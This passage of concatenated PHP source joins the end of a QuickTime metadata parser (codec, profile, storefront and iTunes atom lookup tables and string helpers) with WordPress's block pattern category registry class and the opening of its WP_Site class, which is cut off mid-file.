		static $QuicktimeDCOMLookup = array();
		if (empty($QuicktimeDCOMLookup)) {
			$QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate';
			$QuicktimeDCOMLookup['adec'] = 'Apple Compression';
		}
		return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : '');
	}

	/**
	 * @param int $colordepthid
	 *
	 * @return string
	 */
	public function QuicktimeColorNameLookup($colordepthid) {
		static $QuicktimeColorNameLookup = array();
		if (empty($QuicktimeColorNameLookup)) {
			$QuicktimeColorNameLookup[1]  = '2-color (monochrome)';
			$QuicktimeColorNameLookup[2]  = '4-color';
			$QuicktimeColorNameLookup[4]  = '16-color';
			$QuicktimeColorNameLookup[8]  = '256-color';
			$QuicktimeColorNameLookup[16] = 'thousands (16-bit color)';
			$QuicktimeColorNameLookup[24] = 'millions (24-bit color)';
			$QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)';
			$QuicktimeColorNameLookup[33] = 'black & white';
			$QuicktimeColorNameLookup[34] = '4-gray';
			$QuicktimeColorNameLookup[36] = '16-gray';
			$QuicktimeColorNameLookup[40] = '256-gray';
		}
		return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid');
	}

	/**
	 * @param int $stik
	 *
	 * @return string
	 */
	public function QuicktimeSTIKLookup($stik) {
		static $QuicktimeSTIKLookup = array();
		if (empty($QuicktimeSTIKLookup)) {
			$QuicktimeSTIKLookup[0]  = 'Movie';
			$QuicktimeSTIKLookup[1]  = 'Normal';
			$QuicktimeSTIKLookup[2]  = 'Audiobook';
			$QuicktimeSTIKLookup[5]  = 'Whacked Bookmark';
			$QuicktimeSTIKLookup[6]  = 'Music Video';
			$QuicktimeSTIKLookup[9]  = 'Short Film';
			$QuicktimeSTIKLookup[10] = 'TV Show';
			$QuicktimeSTIKLookup[11] = 'Booklet';
			$QuicktimeSTIKLookup[14] = 'Ringtone';
			$QuicktimeSTIKLookup[21] = 'Podcast';
		}
		return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid');
	}

	/**
	 * @param int $audio_profile_id
	 *
	 * @return string
	 */
	public function QuicktimeIODSaudioProfileName($audio_profile_id) {
		static $QuicktimeIODSaudioProfileNameLookup = array();
		if (empty($QuicktimeIODSaudioProfileNameLookup)) {
			$QuicktimeIODSaudioProfileNameLookup = array(
				0x00 => 'ISO Reserved (0x00)',
				0x01 => 'Main Audio Profile @ Level 1',
				0x02 => 'Main Audio Profile @ Level 2',
				0x03 => 'Main Audio Profile @ Level 3',
				0x04 => 'Main Audio Profile @ Level 4',
				0x05 => 'Scalable Audio Profile @ Level 1',
				0x06 => 'Scalable Audio Profile @ Level 2',
				0x07 => 'Scalable Audio Profile @ Level 3',
				0x08 => 'Scalable Audio Profile @ Level 4',
				0x09 => 'Speech Audio Profile @ Level 1',
				0x0A => 'Speech Audio Profile @ Level 2',
				0x0B => 'Synthetic Audio Profile @ Level 1',
				0x0C => 'Synthetic Audio Profile @ Level 2',
				0x0D => 'Synthetic Audio Profile @ Level 3',
				0x0E => 'High Quality Audio Profile @ Level 1',
				0x0F => 'High Quality Audio Profile @ Level 2',
				0x10 => 'High Quality Audio Profile @ Level 3',
				0x11 => 'High Quality Audio Profile @ Level 4',
				0x12 => 'High Quality Audio Profile @ Level 5',
				0x13 => 'High Quality Audio Profile @ Level 6',
				0x14 => 'High Quality Audio Profile @ Level 7',
				0x15 => 'High Quality Audio Profile @ Level 8',
				0x16 => 'Low Delay Audio Profile @ Level 1',
				0x17 => 'Low Delay Audio Profile @ Level 2',
				0x18 => 'Low Delay Audio Profile @ Level 3',
				0x19 => 'Low Delay Audio Profile @ Level 4',
				0x1A => 'Low Delay Audio Profile @ Level 5',
				0x1B => 'Low Delay Audio Profile @ Level 6',
				0x1C => 'Low Delay Audio Profile @ Level 7',
				0x1D => 'Low Delay Audio Profile @ Level 8',
				0x1E => 'Natural Audio Profile @ Level 1',
				0x1F => 'Natural Audio Profile @ Level 2',
				0x20 => 'Natural Audio Profile @ Level 3',
				0x21 => 'Natural Audio Profile @ Level 4',
				0x22 => 'Mobile Audio Internetworking Profile @ Level 1',
				0x23 => 'Mobile Audio Internetworking Profile @ Level 2',
				0x24 => 'Mobile Audio Internetworking Profile @ Level 3',
				0x25 => 'Mobile Audio Internetworking Profile @ Level 4',
				0x26 => 'Mobile Audio Internetworking Profile @ Level 5',
				0x27 => 'Mobile Audio Internetworking Profile @ Level 6',
				0x28 => 'AAC Profile @ Level 1',
				0x29 => 'AAC Profile @ Level 2',
				0x2A => 'AAC Profile @ Level 4',
				0x2B => 'AAC Profile @ Level 5',
				0x2C => 'High Efficiency AAC Profile @ Level 2',
				0x2D => 'High Efficiency AAC Profile @ Level 3',
				0x2E => 'High Efficiency AAC Profile @ Level 4',
				0x2F => 'High Efficiency AAC Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 audio profiles',
				0xFF => 'No audio capability required',
			);
		}
		return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private');
	}

	/**
	 * @param int $video_profile_id
	 *
	 * @return string
	 */
	public function QuicktimeIODSvideoProfileName($video_profile_id) {
		static $QuicktimeIODSvideoProfileNameLookup = array();
		if (empty($QuicktimeIODSvideoProfileNameLookup)) {
			$QuicktimeIODSvideoProfileNameLookup = array(
				0x00 => 'Reserved (0x00) Profile',
				0x01 => 'Simple Profile @ Level 1',
				0x02 => 'Simple Profile @ Level 2',
				0x03 => 'Simple Profile @ Level 3',
				0x08 => 'Simple Profile @ Level 0',
				0x10 => 'Simple Scalable Profile @ Level 0',
				0x11 => 'Simple Scalable Profile @ Level 1',
				0x12 => 'Simple Scalable Profile @ Level 2',
				0x15 => 'AVC/H264 Profile',
				0x21 => 'Core Profile @ Level 1',
				0x22 => 'Core Profile @ Level 2',
				0x32 => 'Main Profile @ Level 2',
				0x33 => 'Main Profile @ Level 3',
				0x34 => 'Main Profile @ Level 4',
				0x42 => 'N-bit Profile @ Level 2',
				0x51 => 'Scalable Texture Profile @ Level 1',
				0x61 => 'Simple Face Animation Profile @ Level 1',
				0x62 => 'Simple Face Animation Profile @ Level 2',
				0x63 => 'Simple FBA Profile @ Level 1',
				0x64 => 'Simple FBA Profile @ Level 2',
				0x71 => 'Basic Animated Texture Profile @ Level 1',
				0x72 => 'Basic Animated Texture Profile @ Level 2',
				0x81 => 'Hybrid Profile @ Level 1',
				0x82 => 'Hybrid Profile @ Level 2',
				0x91 => 'Advanced Real Time Simple Profile @ Level 1',
				0x92 => 'Advanced Real Time Simple Profile @ Level 2',
				0x93 => 'Advanced Real Time Simple Profile @ Level 3',
				0x94 => 'Advanced Real Time Simple Profile @ Level 4',
				0xA1 => 'Core Scalable Profile @ Level1',
				0xA2 => 'Core Scalable Profile @ Level2',
				0xA3 => 'Core Scalable Profile @ Level3',
				0xB1 => 'Advanced Coding Efficiency Profile @ Level 1',
				0xB2 => 'Advanced Coding Efficiency Profile @ Level 2',
				0xB3 => 'Advanced Coding Efficiency Profile @ Level 3',
				0xB4 => 'Advanced Coding Efficiency Profile @ Level 4',
				0xC1 => 'Advanced Core Profile @ Level 1',
				0xC2 => 'Advanced Core Profile @ Level 2',
				0xD1 => 'Advanced Scalable Texture @ Level1',
				0xD2 => 'Advanced Scalable Texture @ Level2',
				0xE1 => 'Simple Studio Profile @ Level 1',
				0xE2 => 'Simple Studio Profile @ Level 2',
				0xE3 => 'Simple Studio Profile @ Level 3',
				0xE4 => 'Simple Studio Profile @ Level 4',
				0xE5 => 'Core Studio Profile @ Level 1',
				0xE6 => 'Core Studio Profile @ Level 2',
				0xE7 => 'Core Studio Profile @ Level 3',
				0xE8 => 'Core Studio Profile @ Level 4',
				0xF0 => 'Advanced Simple Profile @ Level 0',
				0xF1 => 'Advanced Simple Profile @ Level 1',
				0xF2 => 'Advanced Simple Profile @ Level 2',
				0xF3 => 'Advanced Simple Profile @ Level 3',
				0xF4 => 'Advanced Simple Profile @ Level 4',
				0xF5 => 'Advanced Simple Profile @ Level 5',
				0xF7 => 'Advanced Simple Profile @ Level 3b',
				0xF8 => 'Fine Granularity Scalable Profile @ Level 0',
				0xF9 => 'Fine Granularity Scalable Profile @ Level 1',
				0xFA => 'Fine Granularity Scalable Profile @ Level 2',
				0xFB => 'Fine Granularity Scalable Profile @ Level 3',
				0xFC => 'Fine Granularity Scalable Profile @ Level 4',
				0xFD => 'Fine Granularity Scalable Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 Visual profiles',
				0xFF => 'No visual capability required',
			);
		}
		return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile');
	}

	/**
	 * @param int $rtng
	 *
	 * @return string
	 */
	public function QuicktimeContentRatingLookup($rtng) {
		static $QuicktimeContentRatingLookup = array();
		if (empty($QuicktimeContentRatingLookup)) {
			$QuicktimeContentRatingLookup[0]  = 'None';
			$QuicktimeContentRatingLookup[1]  = 'Explicit';
			$QuicktimeContentRatingLookup[2]  = 'Clean';
			$QuicktimeContentRatingLookup[4]  = 'Explicit (old)';
		}
		return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid');
	}

	/**
	 * @param int $akid
	 *
	 * @return string
	 */
	public function QuicktimeStoreAccountTypeLookup($akid) {
		static $QuicktimeStoreAccountTypeLookup = array();
		if (empty($QuicktimeStoreAccountTypeLookup)) {
			$QuicktimeStoreAccountTypeLookup[0] = 'iTunes';
			$QuicktimeStoreAccountTypeLookup[1] = 'AOL';
		}
		return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid');
	}

	/**
	 * @param int $sfid
	 *
	 * @return string
	 */
	public function QuicktimeStoreFrontCodeLookup($sfid) {
		static $QuicktimeStoreFrontCodeLookup = array();
		if (empty($QuicktimeStoreFrontCodeLookup)) {
			$QuicktimeStoreFrontCodeLookup[143460] = 'Australia';
			$QuicktimeStoreFrontCodeLookup[143445] = 'Austria';
			$QuicktimeStoreFrontCodeLookup[143446] = 'Belgium';
			$QuicktimeStoreFrontCodeLookup[143455] = 'Canada';
			$QuicktimeStoreFrontCodeLookup[143458] = 'Denmark';
			$QuicktimeStoreFrontCodeLookup[143447] = 'Finland';
			$QuicktimeStoreFrontCodeLookup[143442] = 'France';
			$QuicktimeStoreFrontCodeLookup[143443] = 'Germany';
			$QuicktimeStoreFrontCodeLookup[143448] = 'Greece';
			$QuicktimeStoreFrontCodeLookup[143449] = 'Ireland';
			$QuicktimeStoreFrontCodeLookup[143450] = 'Italy';
			$QuicktimeStoreFrontCodeLookup[143462] = 'Japan';
			$QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg';
			$QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands';
			$QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand';
			$QuicktimeStoreFrontCodeLookup[143457] = 'Norway';
			$QuicktimeStoreFrontCodeLookup[143453] = 'Portugal';
			$QuicktimeStoreFrontCodeLookup[143454] = 'Spain';
			$QuicktimeStoreFrontCodeLookup[143456] = 'Sweden';
			$QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland';
			$QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom';
			$QuicktimeStoreFrontCodeLookup[143441] = 'United States';
		}
		return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid');
	}

	/**
	 * @param string $keyname
	 * @param string|array $data
	 * @param string $boxname
	 *
	 * @return bool
	 */
	public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') {
		static $handyatomtranslatorarray = array();
		if (empty($handyatomtranslatorarray)) {
			// http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
			// http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt
			// http://atomicparsley.sourceforge.net/mpeg-4files.html
			// https://code.google.com/p/mp4v2/wiki/iTunesMetadata
			$handyatomtranslatorarray["\xA9".'alb'] = 'album';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ART'] = 'artist';
			$handyatomtranslatorarray["\xA9".'art'] = 'artist';              // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'aut'] = 'author';
			$handyatomtranslatorarray["\xA9".'cmt'] = 'comment';             // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'com'] = 'comment';
			$handyatomtranslatorarray["\xA9".'cpy'] = 'copyright';
			$handyatomtranslatorarray["\xA9".'day'] = 'creation_date';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'dir'] = 'director';
			$handyatomtranslatorarray["\xA9".'ed1'] = 'edit1';
			$handyatomtranslatorarray["\xA9".'ed2'] = 'edit2';
			$handyatomtranslatorarray["\xA9".'ed3'] = 'edit3';
			$handyatomtranslatorarray["\xA9".'ed4'] = 'edit4';
			$handyatomtranslatorarray["\xA9".'ed5'] = 'edit5';
			$handyatomtranslatorarray["\xA9".'ed6'] = 'edit6';
			$handyatomtranslatorarray["\xA9".'ed7'] = 'edit7';
			$handyatomtranslatorarray["\xA9".'ed8'] = 'edit8';
			$handyatomtranslatorarray["\xA9".'ed9'] = 'edit9';
			$handyatomtranslatorarray["\xA9".'enc'] = 'encoded_by';
			$handyatomtranslatorarray["\xA9".'fmt'] = 'format';
			$handyatomtranslatorarray["\xA9".'gen'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'grp'] = 'grouping';            // iTunes 4.2
			$handyatomtranslatorarray["\xA9".'hst'] = 'host_computer';
			$handyatomtranslatorarray["\xA9".'inf'] = 'information';
			$handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics';              // iTunes 5.0
			$handyatomtranslatorarray["\xA9".'mak'] = 'make';
			$handyatomtranslatorarray["\xA9".'mod'] = 'model';
			$handyatomtranslatorarray["\xA9".'nam'] = 'title';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ope'] = 'composer';
			$handyatomtranslatorarray["\xA9".'prd'] = 'producer';
			$handyatomtranslatorarray["\xA9".'PRD'] = 'product';
			$handyatomtranslatorarray["\xA9".'prf'] = 'performers';
			$handyatomtranslatorarray["\xA9".'req'] = 'system_requirements';
			$handyatomtranslatorarray["\xA9".'src'] = 'source_credit';
			$handyatomtranslatorarray["\xA9".'swr'] = 'software';
			$handyatomtranslatorarray["\xA9".'too'] = 'encoding_tool';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'trk'] = 'track_number';
			$handyatomtranslatorarray["\xA9".'url'] = 'url';
			$handyatomtranslatorarray["\xA9".'wrn'] = 'warning';
			$handyatomtranslatorarray["\xA9".'wrt'] = 'composer';
			$handyatomtranslatorarray['aART'] = 'album_artist';
			$handyatomtranslatorarray['apID'] = 'purchase_account';
			$handyatomtranslatorarray['catg'] = 'category';            // iTunes 4.9
			$handyatomtranslatorarray['covr'] = 'picture';             // iTunes 4.0
			$handyatomtranslatorarray['cpil'] = 'compilation';         // iTunes 4.0
			$handyatomtranslatorarray['cprt'] = 'copyright';           // iTunes 4.0?
			$handyatomtranslatorarray['desc'] = 'description';         // iTunes 5.0
			$handyatomtranslatorarray['disk'] = 'disc_number';         // iTunes 4.0
			$handyatomtranslatorarray['egid'] = 'episode_guid';        // iTunes 4.9
			$handyatomtranslatorarray['gnre'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray['hdvd'] = 'hd_video';            // iTunes 4.0
			$handyatomtranslatorarray['ldes'] = 'description_long';    //
			$handyatomtranslatorarray['keyw'] = 'keyword';             // iTunes 4.9
			$handyatomtranslatorarray['pcst'] = 'podcast';             // iTunes 4.9
			$handyatomtranslatorarray['pgap'] = 'gapless_playback';    // iTunes 7.0
			$handyatomtranslatorarray['purd'] = 'purchase_date';       // iTunes 6.0.2
			$handyatomtranslatorarray['purl'] = 'podcast_url';         // iTunes 4.9
			$handyatomtranslatorarray['rtng'] = 'rating';              // iTunes 4.0
			$handyatomtranslatorarray['soaa'] = 'sort_album_artist';   //
			$handyatomtranslatorarray['soal'] = 'sort_album';          //
			$handyatomtranslatorarray['soar'] = 'sort_artist';         //
			$handyatomtranslatorarray['soco'] = 'sort_composer';       //
			$handyatomtranslatorarray['sonm'] = 'sort_title';          //
			$handyatomtranslatorarray['sosn'] = 'sort_show';           //
			$handyatomtranslatorarray['stik'] = 'stik';                // iTunes 4.9
			$handyatomtranslatorarray['tmpo'] = 'bpm';                 // iTunes 4.0
			$handyatomtranslatorarray['trkn'] = 'track_number';        // iTunes 4.0
			$handyatomtranslatorarray['tven'] = 'tv_episode_id';       //
			$handyatomtranslatorarray['tves'] = 'tv_episode';          // iTunes 6.0
			$handyatomtranslatorarray['tvnn'] = 'tv_network_name';     // iTunes 6.0
			$handyatomtranslatorarray['tvsh'] = 'tv_show_name';        // iTunes 6.0
			$handyatomtranslatorarray['tvsn'] = 'tv_season';           // iTunes 6.0

			// boxnames:
			/*
			$handyatomtranslatorarray['iTunSMPB']                    = 'iTunSMPB';
			$handyatomtranslatorarray['iTunNORM']                    = 'iTunNORM';
			$handyatomtranslatorarray['Encoding Params']             = 'Encoding Params';
			$handyatomtranslatorarray['replaygain_track_gain']       = 'replaygain_track_gain';
			$handyatomtranslatorarray['replaygain_track_peak']       = 'replaygain_track_peak';
			$handyatomtranslatorarray['replaygain_track_minmax']     = 'replaygain_track_minmax';
			$handyatomtranslatorarray['MusicIP PUID']                = 'MusicIP PUID';
			$handyatomtranslatorarray['MusicBrainz Artist Id']       = 'MusicBrainz Artist Id';
			$handyatomtranslatorarray['MusicBrainz Album Id']        = 'MusicBrainz Album Id';
			$handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id';
			$handyatomtranslatorarray['MusicBrainz Track Id']        = 'MusicBrainz Track Id';
			$handyatomtranslatorarray['MusicBrainz Disc Id']         = 'MusicBrainz Disc Id';

			// http://age.hobba.nl/audio/tag_frame_reference.html
			$handyatomtranslatorarray['PLAY_COUNTER']                = 'play_counter'; // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355
			$handyatomtranslatorarray['MEDIATYPE']                   = 'mediatype';    // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355
			*/
		}
		$info = &$this->getid3->info;
		$comment_key = '';
		if ($boxname && ($boxname != $keyname)) {
			$comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname);
		} elseif (isset($handyatomtranslatorarray[$keyname])) {
			$comment_key = $handyatomtranslatorarray[$keyname];
		}
		if ($comment_key) {
			if ($comment_key == 'picture') {
				// already copied directly into [comments][picture] elsewhere, do not re-copy here
				return true;
			}
			$gooddata = array($data);
			if ($comment_key == 'genre') {
				// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
				$gooddata = explode(';', $data);
			}
			foreach ($gooddata as $data) {
				if (!empty($info['quicktime']['comments'][$comment_key]) && in_array($data, $info['quicktime']['comments'][$comment_key], true)) {
					// avoid duplicate copies of identical data
					continue;
				}
				$info['quicktime']['comments'][$comment_key][] = $data;
			}
		}
		return true;
	}

	/**
	 * @param string $lstring
	 * @param int    $count
	 *
	 * @return string
	 */
	public function LociString($lstring, &$count) {
		// Loci strings are UTF-8 or UTF-16 and null (x00/x0000) terminated. UTF-16 has a BOM
		// Also need to return the number of bytes the string occupied so additional fields can be extracted
		$len = strlen($lstring);
		if ($len == 0) {
			$count = 0;
			return '';
		}
		if ($lstring[0] == "\x00") {
			$count = 1;
			return '';
		}
		// check for BOM
		if (($len > 2) && ((($lstring[0] == "\xFE") && ($lstring[1] == "\xFF")) || (($lstring[0] == "\xFF") && ($lstring[1] == "\xFE")))) {
			// UTF-16
			if (preg_match('/(.*)\x00/', $lstring, $lmatches)) {
				$count = strlen($lmatches[1]) * 2 + 2; //account for 2 byte characters and trailing \x0000
				return getid3_lib::iconv_fallback_utf16_utf8($lmatches[1]);
			} else {
				return '';
			}
		}
		// UTF-8
		if (preg_match('/(.*)\x00/', $lstring, $lmatches)) {
			$count = strlen($lmatches[1]) + 1; //account for trailing \x00
			return $lmatches[1];
		}
		return '';
	}

	/**
	 * @param string $nullterminatedstring
	 *
	 * @return string
	 */
	public function NoNullString($nullterminatedstring) {
		// remove the single null terminator on null terminated strings
		if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") {
			return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1);
		}
		return $nullterminatedstring;
	}

	/**
	 * @param string $pascalstring
	 *
	 * @return string
	 */
	public function Pascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		return substr($pascalstring, 1);
	}

	/**
	 * @param string $pascalstring
	 *
	 * @return string
	 */
	public function MaybePascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		// Check if string actually is in this format or written incorrectly, straight string, or null-terminated string
		if (ord(substr($pascalstring, 0, 1)) == (strlen($pascalstring) - 1)) {
			return substr($pascalstring, 1);
		} elseif (substr($pascalstring, -1, 1) == "\x00") {
			// appears to be null-terminated instead of Pascal-style
			return substr($pascalstring, 0, -1);
		}
		return $pascalstring;
	}


	/**
	 * Helper functions for m4b audiobook chapters
	 * code by Steffen Hartmann 2015-Nov-08.
	 *
	 * @param array  $info
	 * @param string $tag
	 * @param string $history
	 * @param array  $result
	 */
	public function search_tag_by_key($info, $tag, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if ($key === $tag) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_key($value, $tag, $key_history, $result);
				}
			}
		}
	}

	/**
	 * @param array  $info
	 * @param string $k
	 * @param string $v
	 * @param string $history
	 * @param array  $result
	 */
	public function search_tag_by_pair($info, $k, $v, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if (($key === $k) && ($value === $v)) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_pair($value, $k, $v, $key_history, $result);
				}
			}
		}
	}

	/**
	 * @param array $info
	 *
	 * @return array
	 */
	public function quicktime_time_to_sample_table($info) {
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$stts_res = array();
				$this->search_tag_by_key($value[1], 'time_to_sample_table', $value[0], $stts_res);
				if (count($stts_res) > 0) {
					return $stts_res[0][1]['time_to_sample_table'];
				}
			}
		}
		return array();
	}


	/**
	 * @param array $info
	 *
	 * @return int
	 */
	public function quicktime_bookmark_time_scale($info) {
		$time_scale = '';
		$ts_prefix_len = 0;
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$ts_res = array();
				$this->search_tag_by_key($info['quicktime']['moov'], 'time_scale', 'quicktime/moov', $ts_res);
				foreach ($ts_res as $sub_value) {
					$prefix = substr($sub_value[0], 0, -12);
					if ((substr($stbl_res[0][0], 0, strlen($prefix)) === $prefix) && ($ts_prefix_len < strlen($prefix))) {
						$time_scale = $sub_value[1]['time_scale'];
						$ts_prefix_len = strlen($prefix);
					}
				}
			}
		}
		return $time_scale;
	}
	/*
	// END helper functions for m4b audiobook chapters
	*/


}
<?php
/**
 * Blocks API: WP_Block_Pattern_Categories_Registry class
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.5.0
 */

/**
 * Class used for interacting with block pattern categories.
 */
#[AllowDynamicProperties]
final class WP_Block_Pattern_Categories_Registry {
	/**
	 * Registered block pattern categories array.
	 *
	 * @since 5.5.0
	 * @var array[]
	 */
	private $registered_categories = array();

	/**
	 * Pattern categories registered outside the `init` action.
	 *
	 * @since 6.0.0
	 * @var array[]
	 */
	private $registered_categories_outside_init = array();

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Pattern_Categories_Registry|null
	 */
	private static $instance = null;

	/**
	 * Registers a pattern category.
	 *
	 * @since 5.5.0
	 *
	 * @param string $category_name       Pattern category name including namespace.
	 * @param array  $category_properties {
	 *     List of properties for the block pattern category.
	 *
	 *     @type string $label Required. A human-readable label for the pattern category.
	 * }
	 * @return bool True if the pattern was registered with success and false otherwise.
	 */
	public function register( $category_name, $category_properties ) {
		if ( ! isset( $category_name ) || ! is_string( $category_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block pattern category name must be a string.' ),
				'5.5.0'
			);
			return false;
		}

		$category = array_merge(
			array( 'name' => $category_name ),
			$category_properties
		);

		$this->registered_categories[ $category_name ] = $category;

		// If the category is registered inside an action other than `init`, store it
		// also to a dedicated array. Used to detect deprecated registrations inside
		// `admin_init` or `current_screen`.
		if ( current_action() && 'init' !== current_action() ) {
			$this->registered_categories_outside_init[ $category_name ] = $category;
		}

		return true;
	}

	/**
	 * Unregisters a pattern category.
	 *
	 * @since 5.5.0
	 *
	 * @param string $category_name Pattern category name including namespace.
	 * @return bool True if the pattern was unregistered with success and false otherwise.
	 */
	public function unregister( $category_name ) {
		if ( ! $this->is_registered( $category_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Block pattern name. */
				sprintf( __( 'Block pattern category "%s" not found.' ), $category_name ),
				'5.5.0'
			);
			return false;
		}

		unset( $this->registered_categories[ $category_name ] );
		unset( $this->registered_categories_outside_init[ $category_name ] );

		return true;
	}

	/**
	 * Retrieves an array containing the properties of a registered pattern category.
	 *
	 * @since 5.5.0
	 *
	 * @param string $category_name Pattern category name including namespace.
	 * @return array Registered pattern properties.
	 */
	public function get_registered( $category_name ) {
		if ( ! $this->is_registered( $category_name ) ) {
			return null;
		}

		return $this->registered_categories[ $category_name ];
	}

	/**
	 * Retrieves all registered pattern categories.
	 *
	 * @since 5.5.0
	 *
	 * @param bool $outside_init_only Return only categories registered outside the `init` action.
	 * @return array[] Array of arrays containing the registered pattern categories properties.
	 */
	public function get_all_registered( $outside_init_only = false ) {
		return array_values(
			$outside_init_only
				? $this->registered_categories_outside_init
				: $this->registered_categories
		);
	}

	/**
	 * Checks if a pattern category is registered.
	 *
	 * @since 5.5.0
	 *
	 * @param string $category_name Pattern category name including namespace.
	 * @return bool True if the pattern category is registered, false otherwise.
	 */
	public function is_registered( $category_name ) {
		return isset( $this->registered_categories[ $category_name ] );
	}

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Block_Pattern_Categories_Registry The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}

/**
 * Registers a new pattern category.
 *
 * @since 5.5.0
 *
 * @param string $category_name       Pattern category name including namespace.
 * @param array  $category_properties List of properties for the block pattern.
 *                                    See WP_Block_Pattern_Categories_Registry::register() for
 *                                    accepted arguments.
 * @return bool True if the pattern category was registered with success and false otherwise.
 */
function register_block_pattern_category( $category_name, $category_properties ) {
	return WP_Block_Pattern_Categories_Registry::get_instance()->register( $category_name, $category_properties );
}

/**
 * Unregisters a pattern category.
 *
 * @since 5.5.0
 *
 * @param string $category_name Pattern category name including namespace.
 * @return bool True if the pattern category was unregistered with success and false otherwise.
 */
function unregister_block_pattern_category( $category_name ) {
	return WP_Block_Pattern_Categories_Registry::get_instance()->unregister( $category_name );
}
<?php
/**
 * Site API: WP_Site class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.5.0
 */

/**
 * Core class used for interacting with a multisite site.
 *
 * This class is used during load to populate the `$current_blog` global and
 * setup the current site.
 *
 * @since 4.5.0
 *
 * @property int    $id
 * @property int    $network_id
 * @property string $blogname
 * @property string $siteurl
 * @property int    $post_count
 * @property string $home
 */
#[AllowDynamicProperties]
final class WP_Site {

	/**
	 * Site ID.
	 *
	 * Named "blog" vs. "site" for legacy reasons.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $blog_id;

	/**
	 * Domain of the site.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $domain = '';

	/**
	 * Path of the site.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $path = '';

	/**
	 * The ID of the site's parent network.
	 *
	 * Named "site" vs. "network" for legacy reasons. An individual site's "site" is
	 * its network.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $site_id = '0';

	/**
	 * The date and time on which the site was created or registered.
	 *
	 * @since 4.5.0
	 * @var string Date in MySQL's datetime format.
	 */
	public $registered = '0000-00-00 00:00:00';

	/**
	 * The date and time on which site settings were last updated.
	 *
	 * @since 4.5.0
	 * @var string Date in MySQL's datetime format.
	 */
	public $last_updated = '0000-00-00 00:00:00';

	/**
	 * Whether the site should be treated as public.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $public = '1';

	/**
	 * Whether the site should be treated as archived.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $archived = '0';

	/**
